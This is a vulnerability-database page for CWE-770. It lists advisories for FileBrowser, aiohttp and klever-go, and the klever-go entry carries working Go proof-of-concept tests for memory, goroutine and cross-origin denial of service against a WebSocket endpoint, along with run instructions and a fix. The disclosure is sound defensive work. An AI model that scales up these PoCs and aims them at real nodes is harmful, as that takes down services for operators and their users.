CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3956 vulnerabilities reference this CWE, most recent first.
GHSA-4FMC-F52R-93HM
Vulnerability from github – Published: 2026-08-14 12:31 – Updated: 2026-08-14 12:31FileBrowser versions before 2.63.19 fail to enforce the declared Upload-Length in the TUS resumable-upload PATCH endpoint, allowing authenticated users to write arbitrary data to disk. Attackers can send oversized request bodies that exceed the declared upload length to exhaust available disk space and cause service unavailability.
{
"affected": [],
"aliases": [
"CVE-2026-72838"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-14T12:16:47Z",
"severity": "HIGH"
},
"details": "FileBrowser versions before 2.63.19 fail to enforce the declared Upload-Length in the TUS resumable-upload PATCH endpoint, allowing authenticated users to write arbitrary data to disk. Attackers can send oversized request bodies that exceed the declared upload length to exhaust available disk space and cause service unavailability.",
"id": "GHSA-4fmc-f52r-93hm",
"modified": "2026-08-14T12:31:28Z",
"published": "2026-08-14T12:31:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-ffv3-7h97-993q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72838"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/4daddec6f200b03a721197d8c0b4b652c994894e"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/filebrowser-before-disk-exhaustion-via-tus-upload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4FVR-RGM6-GQMC
Vulnerability from github – Published: 2026-06-15 20:10 – Updated: 2026-06-15 20:10Summary
No limit was present on the number of pipelined requests that could be queued.
Impact
An attacker may be able to use pipelined requests to use excessive amounts of memory, potentially leading to DoS.
Patch: https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.14.0"
},
"package": {
"ecosystem": "PyPI",
"name": "aiohttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54273"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:10:32Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nNo limit was present on the number of pipelined requests that could be queued.\n\n### Impact\n\nAn attacker may be able to use pipelined requests to use excessive amounts of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf",
"id": "GHSA-4fvr-rgm6-gqmc",
"modified": "2026-06-15T20:10:32Z",
"published": "2026-06-15T20:10:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4fvr-rgm6-gqmc"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/aio-libs/aiohttp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "aiohttp: HTTP/1 Pipelined Requests Queue Without Limit"
}
GHSA-4FWH-WRM6-97XM
Vulnerability from github – Published: 2026-09-23 19:16 – Updated: 2026-09-23 19:16Summary
The unauthenticated WebSocket endpoint GET /subscribe is registered open: true by default
(config/node/api.yaml) and lets a remote, unauthenticated client exhaust the node's memory and
goroutines. Because the REST API runs IN-PROCESS with the node — network/api/api.go Start(...)
ends with ws.Run(kleverFacade.RestAPIInterface()) — exhausting/killing the API process takes down
the entire node, including its P2P and consensus participation. No API key, account, stake, or funds
are required.
Three compounding, independently-exploitable gaps stack on this one endpoint:
- Permissive origin —
upgrader.CheckOriginalways returnstrue(network/api/websocket/routes.go), so any web origin can complete the handshake. - No read-size limit — the connection never calls
conn.SetReadLimit(...). gorilla's default is UNLIMITED, so a singleconn.ReadJSON(processSubscription) orconn.ReadMessage(client.loopIn) can be forced to allocate an arbitrarily large buffer from ONE frame. - No connection / fan-out cap — the gin global throttler (
simultaneousRequests: 100) releases its slot as soon ashandleSubscribereturns, which it does immediately aftergo processSubscription(conn, hub). Live WebSocket connections are therefore NOT counted by it. There is no per-IP / per-connection / hub-level cap. Each accepted connection spawns 2 goroutines plus a 500-entry buffered channel, andreq.Addresseshas no length cap, so the hub'saddressSubscriptionmap grows 1:1 with attacker-supplied strings.
Affected Component / Code Path
Unauthenticated, reachable by default, no recovery on the resource-allocation path:
gin engine (network/api/api.go: Start -> ws.Run, IN-PROCESS with node)
-> GET /subscribe network/api/websocket/routes.go:34 (SubscribeTopics)
-> handleSubscribe network/api/websocket/routes.go:39
-> upgrader.Upgrade (CheckOrigin == true) network/api/websocket/routes.go:22 <-- GAP #1
-> go processSubscription(conn, hub) network/api/websocket/routes.go:46 (throttler slot freed here)
-> conn.ReadJSON(&req) (no SetReadLimit) network/api/websocket/routes.go:57 <-- GAP #2
-> hub.HandleClientInsertion(...) websocket/websocket.go:121 <-- GAP #3 (addresses uncapped)
-> websocket.NewClient -> loopIn/loopOut (2 goroutines + 500-buf chan per conn) websocket/client.go:24
-> conn.ReadMessage() (no SetReadLimit, no deadline) websocket/client.go:77 <-- GAP #2
Root-cause excerpts (commit 23b74e1):
network/api/websocket/routes.go
var upgrader = gorilla.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // GAP #1: any origin accepted
},
}
func handleSubscribe(c *gin.Context, hub *websocket.SocketHub) {
conn, err := upgrader.Upgrade(c.Writer, c.Request, nil)
if err != nil {
log.Error(subscribeOp, "err", err.Error())
return
}
go processSubscription(conn, hub) // returns now -> gin global throttler slot released (GAP #3)
}
func processSubscription(conn *gorilla.Conn, hub *websocket.SocketHub) {
// no conn.SetReadLimit(...) anywhere (GAP #2)
_ = conn.SetReadDeadline(time.Now().Add(subscribeReadTimeout))
var req subscribeRequest
if err := conn.ReadJSON(&req); err != nil { ... } // unbounded read
_ = conn.SetReadDeadline(time.Time{}) // deadline cleared
...
client := websocket.NewClient(conn, hub)
hub.HandleClientInsertion(parsedTypes, req.Addresses, client) // req.Addresses uncapped (GAP #3)
}
websocket/websocket.go — HandleClientInsertion inserts every address with no length cap:
for _, address := range addresses {
if _, ok := h.addressSubscription[address]; !ok {
h.addressSubscription[address] = make(map[*client]userOptions) // grows 1:1 with attacker input
}
...
}
websocket/client.go — loopIn reads with no size limit and no deadline:
for {
messageType, message, err := c.conn.ReadMessage() // GAP #2: unbounded, no SetReadLimit
...
}
Preconditions
- The node's REST API must be reachable by the attacker. Two realistic deployment shapes:
- (a) Operator-exposed API —
--rest-api-interface :8080/0.0.0.0:8080. This is the standard configuration for public RPC and observer infrastructure (the kind Klever itself operates atnode.klever.org/api.klever.org). Here the attacker reaches/subscribedirectly over the network with no further conditions. - (b) Cross-origin browser drive-by — default bind is
localhost:8080(common/facade/nodeFacade.goDefaultRestInterface = "localhost:8080"). BecauseCheckOriginreturnstrue(GAP #1), any website an operator visits can openws://localhost:8080/subscribefrom the victim's browser and drive GAP #2 (single oversized frame) and GAP #3 (many connections) without the API being network-exposed at all. /subscribeisopen: truein the defaultconfig/node/api.yaml;isSubscriptionRouteEnabledreturns true and the route + hub are wired unconditionally inRegisterRoutes./subscribeis NOT listed inendpointsThrottlers(config/node/config.yaml), so it has no per-endpoint goroutine cap.- No authentication, no on-chain account, no stake, no attacker-created asset is required.
Impact (distributed by gap and by blast radius)
This single finding produces several distinct impacts because the three gaps amplify different node resources and reach the node through two different exposure models. They are broken out so the remediation owner can scope each one.
Impact A — Single-frame heap exhaustion (GAP #2, the cleanest primitive)
- One unauthenticated connection sends ONE WebSocket frame; with no
SetReadLimit, gorilla buffers the entire frame in memory before the JSON is even parsed. Frame size scales the allocation linearly, so one connection can drive a multi-GB allocation. - Observed amplification: an 8 MiB frame grows the server heap by ~32 MiB (~4x) while buffering ONE attacker frame (decode/UTF-8/scratch overhead on top of the raw bytes).
- No flood and no rate-limit interaction is needed: the source throttler is a per-IP RATE cap on HTTP handshakes, not a size or memory cap, so a single slow connection streaming one oversized message is not meaningfully throttled.
- Result: OOM-kill of the node process from a single connection.
Impact B — Connection / goroutine exhaustion (GAP #3, fan-out)
- Live WS connections are not counted by the gin global throttler (its slot is freed at the HTTP→WS upgrade), and there is no per-IP or hub-level connection cap.
- Each accepted connection costs 2 goroutines + a 500-entry buffered channel. Connection count grows linearly with attacker effort from a single source, with no ceiling.
- Result: goroutine/descriptor/scheduler exhaustion → node slowdown then OOM/crash.
Impact C — Unbounded subscription-map growth (GAP #3, per-connection memory)
req.Addressesis uncapped, andHandleClientInsertioninserts every entry into the hub'saddressSubscriptionmap. ONE connection submitting N attacker-controlled address strings grows the map to exactly N entries (1:1), independent of how many real on-chain addresses exist.- Result: heap growth driven purely by attacker-chosen strings on a single connection; combinable with Impact B (many connections × many addresses) for multiplicative memory pressure.
Impact D — Cross-origin reach to localhost-bound nodes (GAP #1, exposure amplifier)
- Because
CheckOriginis alwaystrue, Impacts A–C are reachable from a victim's browser even when the API is bound tolocalhostand never exposed to the network. A node operator who simply visits a malicious page can have their own node driven into Impact A/B/C from inside their browser. - Result: the
localhost-bind "mitigation" does not hold against a web-drive-by attacker.
Blast-radius note (applies to all of the above)
- The REST/WS API runs in the SAME process as the node (
ws.Run(...)innetwork/api/api.go). OOM/kill of the API = loss of P2P + consensus participation for that node, not merely loss of the RPC surface. For a public RPC/observer node this is an availability break for every downstream wallet/explorer/service; repeated across many nodes it degrades overall network availability.
Exploit Cost / Attack Complexity
- Cost: negligible. No funds, no stake, no account, no API key. One TCP/WS connection (Impact A) or a modest number of connections (Impact B/C). Impact D needs only that the operator visits a web page.
- Complexity: LOW. Unauthenticated, remote, deterministic. The vulnerability is the ABSENCE of caps, so it does not depend on a race or on a specific node version beyond the affected range.
PoC-Result
Two complementary PoCs were executed against the REAL production code at commit 23b74e1.
All runs PASS. Sources, scenarios, and run instructions are in PoC-Source below.
Result 1 — Unit PoC: unbounded addressSubscription growth (Impact C)
Drives the real SocketHub.HandleClientInsertion (production code, no stub) with one client
submitting 200,000 attacker-controlled address strings.
$ go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v
=== RUN TestPoC_UnboundedAddressSubscriptionGrowth
zz_poc_ws_unbounded_subscription_test.go:46: addressSubscription entries after ONE client submitted 200000 addresses: 200000
zz_poc_ws_unbounded_subscription_test.go:50: VULNERABLE: no cap on per-connection address count
--- PASS: TestPoC_UnboundedAddressSubscriptionGrowth (0.09s)
PASS
ok github.com/klever-io/klever-go/websocket 0.092s
Interpretation: one connection → 200,000 hub map entries (1:1), confirming GAP #3 / Impact C with no cap. Scaling the address count scales the allocation.
Result 2 — End-to-end PoC: all three gaps over a real loopback gin + gorilla WS server (Impacts A, B, D)
Runs the REAL network/api/websocket.SubscribeTopics + websocket.NewHub + hub.StartServer
behind a gin server on 127.0.0.1, driven by a real gorilla WebSocket client, with a "hardened"
A/B control (strict CheckOrigin + SetReadLimit(1 MiB)) to prove each missing control is the cause.
$ go test ./network/api/websocket/ -run TestE2E_Gap -v
=== RUN TestE2E_Gap1_EvilOriginAccepted
zz_e2e_ws_dos_test.go:87: GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP 101)
zz_e2e_ws_dos_test.go:94: control: hardened handler rejected evil origin (HTTP 403) as expected
--- PASS: TestE2E_Gap1_EvilOriginAccepted (0.00s)
=== RUN TestE2E_Gap2_NoReadSizeLimit
zz_e2e_ws_dos_test.go:118: control: hardened handler rejected 8388608-byte frame with close 1009 (read limit works)
zz_e2e_ws_dos_test.go:147: GAP#2 CONFIRMED: real /subscribe accepted an 8388608-byte (8 MiB) frame with NO size limit (no close 1009; read err=read tcp ... i/o timeout). Server heap grew ~32 MiB while buffering one attacker frame.
--- PASS: TestE2E_Gap2_NoReadSizeLimit (1.43s)
=== RUN TestE2E_Gap3_NoConnectionCap
zz_e2e_ws_dos_test.go:185: GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL 300 concurrent connections from one client with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew 4 -> 604 (~2 per conn).
--- PASS: TestE2E_Gap3_NoConnectionCap (0.43s)
PASS
ok github.com/klever-io/klever-go/network/api/websocket 1.866s
Interpretation:
- GAP #1 (Impact D): the real handler completes the handshake (HTTP 101) for
Origin: https://evil.attacker.example; the hardened control returns HTTP 403. → cross-origin
drive-by reach, including to localhost-bound nodes.
- GAP #2 (Impact A): one unauthenticated connection sends a single 8 MiB frame; the real server
buffers it whole (~32 MiB heap, ~4x amplification, NO close 1009). The 1 MiB-capped control rejects
it with close 1009. → one connection scales to a multi-GB allocation.
- GAP #3 (Impact B): 300 > the configured global cap of 100 simultaneous requests were ALL accepted
as live connections; goroutines grew 4 → 604 (~2 per connection). → the global throttler does not
bound live WS connections; growth is linear and uncapped.
Production-safety note on the PoC
Frame size (8 MiB) and connection count (300) are kept deliberately modest so the test host is not OOM-killed. The vulnerability is the ABSENCE of the read-size / connection / origin controls, which the hardened A/B control proves fixes each gap. Full end-to-end OOM (multi-GB frame / connection flood) is intentionally NOT executed against any production node.
PoC-Source
Two self-contained Go tests reproduce the finding against the unmodified production code. Both use
only the repo's own go.mod dependencies (gin + gorilla, already required) and the real
network/api/websocket + websocket packages. No external services.
Scenario
- PoC 1 (unit, Impact C) targets the hub primitive directly: build one in-process
client, call the REALSocketHub.HandleClientInsertionwith 200,000 attacker-controlled address strings, and assert the hub'saddressSubscriptionmap grows 1:1 (no cap). This isolates GAP #3 / Impact C with zero network setup. - PoC 2 (end-to-end, Impacts A/B/D) stands up the REAL handler:
gin.New()+ the productionwsapi.SubscribeTopics(engine, hub)+websocket.NewHub(...)+hub.StartServer(ctx)on a127.0.0.1:0listener, then drives it with a real gorilla WS client. A "hardened" mirror server (strictCheckOrigin+SetReadLimit(1 MiB)) is the A/B control that proves each missing control is the root cause: - Gap1 test: dial with
Origin: https://evil.attacker.example; real accepts (HTTP 101), control rejects (403). - Gap2 test: send one 8 MiB valid subscribe frame; real buffers it (no close 1009, heap grows ~32 MiB), control closes with 1009 (message too big).
- Gap3 test: open 300 concurrent connections from one client; real accepts all (goroutines grow ~2/conn), proving the gin global cap of 100 is not enforced on live WS.
How to run
git clone https://github.com/klever-io/klever-go && cd klever-go(Go toolchain matchinggo.mod; verified locally on go1.26.3 at commit23b74e1.)- Save PoC 1 as
websocket/poc_ws_unbounded_subscription_test.goand run:go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v - Save PoC 2 as
network/api/websocket/e2e_ws_dos_test.goand run:go test ./network/api/websocket/ -run TestE2E_Gap -v(The threeTestE2E_Gap*subtests can run together; each starts its own loopback server.) - Production-safety: frame size (8 MiB) and connection count (300) are intentionally small so the runner is not OOM-killed; they demonstrate the missing caps, not a live OOM. Do NOT point these at a production node.
Full PoC source 1 — websocket/poc_ws_unbounded_subscription_test.go
// Target component: klever-go REST/WebSocket API — unauthenticated /subscribe (network/api/websocket, websocket/)
// Vulnerability type: Uncontrolled resource consumption (CWE-770) — unauthenticated remote
// memory/goroutine exhaustion of the node process via the WS API.
// Scope note: The REST API runs IN-PROCESS with the node, so OOM kills the whole node
// (P2P + consensus), not a separate sidecar.
//
// Three compounding gaps on the unauthenticated `/subscribe` endpoint (open:true by default):
// 1) gorilla Upgrader has CheckOrigin -> always true (any origin).
// 2) NO conn.SetReadLimit: a single WS frame/JSON can be arbitrarily large -> one message
// can force a multi-GB allocation in conn.ReadJSON / ReadMessage.
// 3) NO connection cap (per-IP / global / hub-level): the gin global throttler slot is
// released right after the HTTP->WS upgrade in handleSubscribe (it returns immediately
// after `go processSubscription`), so live WS connections are NOT counted by the
// 100-simultaneous-request cap. Each connection also spawns 2 goroutines + a 500-buffered
// channel, and there is no per-connection cap on req.Addresses, so the hub's
// addressSubscription map grows 1:1 with attacker-supplied strings.
//
// This test runtime-confirms gap #3 (unbounded addressSubscription growth). Gaps #1/#2 are
// verified by code review (no SetReadLimit / CheckOrigin==true in network/api/websocket/routes.go).
//
// How to run: cp into websocket/ and `go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v`
package websocket
import (
"fmt"
"testing"
"github.com/klever-io/klever-go/indexer"
)
func TestPoC_UnboundedAddressSubscriptionGrowth(t *testing.T) {
hub := NewHub("", "", nil)
c := &client{hub: hub, out: make(chan interface{}, 10), alive: true, sem: make(chan struct{}, maxWorkers)}
const n = 200000
addresses := make([]string, n)
for i := 0; i < n; i++ {
addresses[i] = fmt.Sprintf("klv-attacker-addr-%d", i)
}
hub.HandleClientInsertion([]indexer.EventType{indexer.ACCOUNTS}, addresses, c)
hub.mu.RLock()
got := len(hub.addressSubscription)
hub.mu.RUnlock()
t.Logf("addressSubscription entries after ONE client submitted %d addresses: %d", n, got)
if got != n {
t.Fatalf("expected unbounded growth to %d, got %d", n, got)
}
t.Logf("VULNERABLE: no cap on per-connection address count")
}
Full PoC source 2 — network/api/websocket/e2e_ws_dos_test.go
package websocket_test
import (
"context"
"net"
"net/http"
"runtime"
"strings"
"testing"
"time"
"github.com/gin-gonic/gin"
gorilla "github.com/gorilla/websocket"
wsapi "github.com/klever-io/klever-go/network/api/websocket"
hubpkg "github.com/klever-io/klever-go/websocket"
)
// ---- vulnerable server: the REAL production handler ----
func startRealSubscribeServer(t *testing.T) (string, func()) {
t.Helper()
gin.SetMode(gin.ReleaseMode)
engine := gin.New()
hub := hubpkg.NewHub("", "", nil) // facade nil: /subscribe path doesn't use it
ctx, cancel := context.WithCancel(context.Background())
go hub.StartServer(ctx)
wsapi.SubscribeTopics(engine, hub) // <-- REAL production registration
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
srv := &http.Server{Handler: engine}
go func() { _ = srv.Serve(ln) }()
stop := func() { cancel(); _ = srv.Close(); _ = ln.Close() }
return ln.Addr().String(), stop
}
// ---- hardened mirror: same flow + the missing controls (strict origin + SetReadLimit) ----
func startHardenedSubscribeServer(t *testing.T) (string, func()) {
t.Helper()
gin.SetMode(gin.ReleaseMode)
engine := gin.New()
up := gorilla.Upgrader{CheckOrigin: func(r *http.Request) bool {
return r.Header.Get("Origin") == "" // strict: only same/no-origin allowed
}}
engine.GET("/subscribe", func(c *gin.Context) {
conn, err := up.Upgrade(c.Writer, c.Request, nil)
if err != nil {
return
}
conn.SetReadLimit(1 << 20) // 1 MiB cap (the fix)
go func() {
defer conn.Close()
for {
if _, _, err := conn.ReadMessage(); err != nil {
return
}
}
}()
})
ln, _ := net.Listen("tcp", "127.0.0.1:0")
srv := &http.Server{Handler: engine}
go func() { _ = srv.Serve(ln) }()
return ln.Addr().String(), func() { _ = srv.Close(); _ = ln.Close() }
}
func bigValidSubscribeJSON(addrBytes int) []byte {
// valid subscribe frame: one giant attacker-controlled address string
return []byte(`{"subscribed_types":["accounts"],"addresses":["` + strings.Repeat("A", addrBytes) + `"]}`)
}
// GAP #1 — permissive origin: real handler accepts an evil Origin; hardened rejects it.
func TestE2E_Gap1_EvilOriginAccepted(t *testing.T) {
realAddr, stopReal := startRealSubscribeServer(t)
defer stopReal()
hardAddr, stopHard := startHardenedSubscribeServer(t)
defer stopHard()
hdr := http.Header{"Origin": []string{"https://evil.attacker.example"}}
cReal, respReal, errReal := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", hdr)
if errReal != nil {
t.Fatalf("REAL handler REJECTED evil origin (status %v) — not vulnerable", respReal)
}
_ = cReal.Close()
t.Logf("GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP %d)", respReal.StatusCode)
cHard, respHard, errHard := gorilla.DefaultDialer.Dial("ws://"+hardAddr+"/subscribe", hdr)
if errHard == nil {
_ = cHard.Close()
t.Fatalf("hardened control unexpectedly accepted evil origin")
}
t.Logf("control: hardened handler rejected evil origin (HTTP %d) as expected", respHard.StatusCode)
}
// GAP #2 — no read-size limit: real handler reads a frame far over any sane WS limit;
// the hardened control (SetReadLimit 1 MiB) closes the connection with 1009 on the same frame.
func TestE2E_Gap2_NoReadSizeLimit(t *testing.T) {
realAddr, stopReal := startRealSubscribeServer(t)
defer stopReal()
hardAddr, stopHard := startHardenedSubscribeServer(t)
defer stopHard()
const big = 8 << 20 // 8 MiB single frame (>> typical 1 MiB cap; tiny enough not to OOM the runner)
frame := bigValidSubscribeJSON(big)
// --- hardened control: must reject (close 1009 "message too big") ---
cHard, _, err := gorilla.DefaultDialer.Dial("ws://"+hardAddr+"/subscribe", nil)
if err != nil {
t.Fatalf("dial hardened: %v", err)
}
_ = cHard.WriteMessage(gorilla.TextMessage, frame)
cHard.SetReadDeadline(time.Now().Add(3 * time.Second))
_, _, errHard := cHard.ReadMessage()
_ = cHard.Close()
if ce, ok := errHard.(*gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig {
t.Logf("control: hardened handler rejected %d-byte frame with close 1009 (read limit works)", big)
} else {
t.Logf("control note: hardened returned %v (expected close 1009)", errHard)
}
// --- REAL handler: reads the whole 8 MiB frame; connection NOT closed for size ---
var m0, m1 runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&m0)
cReal, _, err := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", nil)
if err != nil {
t.Fatalf("dial real: %v", err)
}
if err := cReal.WriteMessage(gorilla.TextMessage, frame); err != nil {
t.Fatalf("write big frame to real: %v", err)
}
// Give the server time to ReadJSON the full frame + insert the giant address.
time.Sleep(400 * time.Millisecond)
runtime.ReadMemStats(&m1)
// The real handler must NOT have closed us with 1009. Probe with a short read.
cReal.SetReadDeadline(time.Now().Add(1 * time.Second))
_, _, rerr := cReal.ReadMessage()
_ = cReal.Close()
if ce, ok := rerr.(*gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig {
t.Fatalf("REAL handler enforced a read limit (close 1009) — NOT vulnerable")
}
t.Logf("GAP#2 CONFIRMED: real /subscribe accepted an %d-byte (8 MiB) frame with NO size limit "+
"(no close 1009; read err=%v). Server heap grew ~%d MiB while buffering one attacker frame.",
big, rerr, int64(m1.HeapAlloc-m0.HeapAlloc)/(1<<20))
}
// GAP #3 (connection level) — no per-connection / per-IP / global cap on live WS connections.
// Open many concurrent real connections from one client; the real server accepts them all and
// spawns 2 goroutines + a 500-buffered channel each (uncounted by the gin global throttler,
// whose slot is released right after the HTTP->WS upgrade). Measured via goroutine growth.
func TestE2E_Gap3_NoConnectionCap(t *testing.T) {
realAddr, stopReal := startRealSubscribeServer(t)
defer stopReal()
const n = 300 // modest; enough to show no cap without stressing the runner
g0 := runtime.NumGoroutine()
conns := make([]*gorilla.Conn, 0, n)
accepted := 0
for i := 0; i < n; i++ {
c, _, err := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", nil)
if err != nil {
t.Logf("connection %d rejected: %v", i, err)
break
}
// send a valid subscribe so the server promotes it to a live hub client
_ = c.WriteMessage(gorilla.TextMessage, []byte(`{"subscribed_types":["blocks"],"addresses":[]}`))
conns = append(conns, c)
accepted++
}
time.Sleep(300 * time.Millisecond)
g1 := runtime.NumGoroutine()
for _, c := range conns {
_ = c.Close()
}
if accepted < n {
t.Fatalf("server applied a connection cap at %d (<%d) — would weaken the finding", accepted, n)
}
t.Logf("GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL %d concurrent connections from one client "+
"with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew %d -> %d (~%d per conn).",
accepted, g0, g1, (g1-g0)/n)
}
Suggested Fix
Address each gap; they are independent and all should be fixed regardless of API binding.
-
GAP #2 (read-size) — set an explicit read limit on every accepted WS connection, before any read, in both read paths (
processSubscriptionandclient.loopIn):go const maxWSMessageSize = 1 << 20 // 1 MiB; tune to the largest legitimate subscribe payload conn.SetReadLimit(maxWSMessageSize)gorilla then closes oversized frames with close 1009 instead of buffering unbounded memory. -
GAP #3 (connection / fan-out cap):
- Cap concurrent WS connections globally and per source IP with a dedicated limiter that is held for the WS lifetime (the gin global throttler cannot do this — its slot is released at the HTTP→WS upgrade). Reject (HTTP 503 / close) beyond the cap.
-
Bound
len(req.Addresses)and the total per-connection subscription count to a sane maximum; reject or truncate beyond it inHandleClientInsertion/processSubscription. -
GAP #1 (origin) — replace
CheckOrigin: func(...) bool { return true }with an allowlist driven by config (same-origin and explicitly trusted origins only). This removes the cross-origin drive-by reach to localhost-bound nodes (Impact D). -
Defense-in-depth — keep a read deadline active for the lifetime of the connection (the current code clears it via
SetReadDeadline(time.Time{})after the first read), so an idle/slow connection cannot pin resources indefinitely.
Duplicate Check (vs published advisories)
Checked against https://github.com/klever-io/klever-go/security/advisories (3 published):
- GHSA-jc6w-wmfc-fh33 / CVE-2026-46403 (Medium) — KVM read-only exec commits delete/upgrade side effects.
- GHSA-87m7-qffr-542v / CVE-2026-44697 (High) — MultiDataInterceptor OOM via crafted compressed P2P payload.
- GHSA-74m6-4hjp-7226 (High) — MultiDataInterceptor throttler-slot leak on malformed compressed batches.
This finding is NOT a duplicate:
- Different component — REST/WebSocket API (network/api/websocket, websocket/), not the P2P
interceptor pipeline or the KVM.
- Different mechanism — missing WS read-size limit + uncounted live connections + permissive origin
(CWE-770/1385), not gzip decompression blow-up, not throttler-slot accounting, not VM read-only isolation.
- The advisory texts contain no mention of /subscribe, SetReadLimit, CheckOrigin,
addressSubscription, SocketHub, or processSubscription.
- The three advisories' fixes ARE present in the reviewed tree (MaxDecompressedBatchSize,
ownershipTransferred throttler guard, runtime.ReadOnly() delete/upgrade checks), confirming the
tree is at/after v1.7.17, yet the /subscribe gaps remain unpatched at HEAD 23b74e1.
- It is adjacent in impact CLASS to 87m7/74m6 (remote DoS), referenced here for context only.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/klever-io/klever-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86065"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T19:16:40Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nThe unauthenticated WebSocket endpoint `GET /subscribe` is registered `open: true` by default\n(`config/node/api.yaml`) and lets a remote, unauthenticated client exhaust the node\u0027s memory and\ngoroutines. Because the REST API runs IN-PROCESS with the node \u2014 `network/api/api.go` `Start(...)`\nends with `ws.Run(kleverFacade.RestAPIInterface())` \u2014 exhausting/killing the API process takes down\nthe entire node, including its P2P and consensus participation. No API key, account, stake, or funds\nare required.\n\nThree compounding, independently-exploitable gaps stack on this one endpoint:\n\n1. Permissive origin \u2014 `upgrader.CheckOrigin` always returns `true`\n (`network/api/websocket/routes.go`), so any web origin can complete the handshake.\n2. No read-size limit \u2014 the connection never calls `conn.SetReadLimit(...)`. gorilla\u0027s default is\n UNLIMITED, so a single `conn.ReadJSON` (`processSubscription`) or `conn.ReadMessage`\n (`client.loopIn`) can be forced to allocate an arbitrarily large buffer from ONE frame.\n3. No connection / fan-out cap \u2014 the gin global throttler (`simultaneousRequests: 100`) releases its\n slot as soon as `handleSubscribe` returns, which it does immediately after\n `go processSubscription(conn, hub)`. Live WebSocket connections are therefore NOT counted by it.\n There is no per-IP / per-connection / hub-level cap. Each accepted connection spawns 2 goroutines\n plus a 500-entry buffered channel, and `req.Addresses` has no length cap, so the hub\u0027s\n `addressSubscription` map grows 1:1 with attacker-supplied strings.\n\n## Affected Component / Code Path\nUnauthenticated, reachable by default, no recovery on the resource-allocation path:\n\n```\ngin engine (network/api/api.go: Start -\u003e ws.Run, IN-PROCESS with node)\n -\u003e GET /subscribe network/api/websocket/routes.go:34 (SubscribeTopics)\n -\u003e handleSubscribe network/api/websocket/routes.go:39\n -\u003e upgrader.Upgrade (CheckOrigin == true) network/api/websocket/routes.go:22 \u003c-- GAP #1\n -\u003e go processSubscription(conn, hub) network/api/websocket/routes.go:46 (throttler slot freed here)\n -\u003e conn.ReadJSON(\u0026req) (no SetReadLimit) network/api/websocket/routes.go:57 \u003c-- GAP #2\n -\u003e hub.HandleClientInsertion(...) websocket/websocket.go:121 \u003c-- GAP #3 (addresses uncapped)\n -\u003e websocket.NewClient -\u003e loopIn/loopOut (2 goroutines + 500-buf chan per conn) websocket/client.go:24\n -\u003e conn.ReadMessage() (no SetReadLimit, no deadline) websocket/client.go:77 \u003c-- GAP #2\n```\n\nRoot-cause excerpts (commit `23b74e1`):\n\n`network/api/websocket/routes.go`\n```go\nvar upgrader = gorilla.Upgrader{\n\tCheckOrigin: func(r *http.Request) bool {\n\t\treturn true // GAP #1: any origin 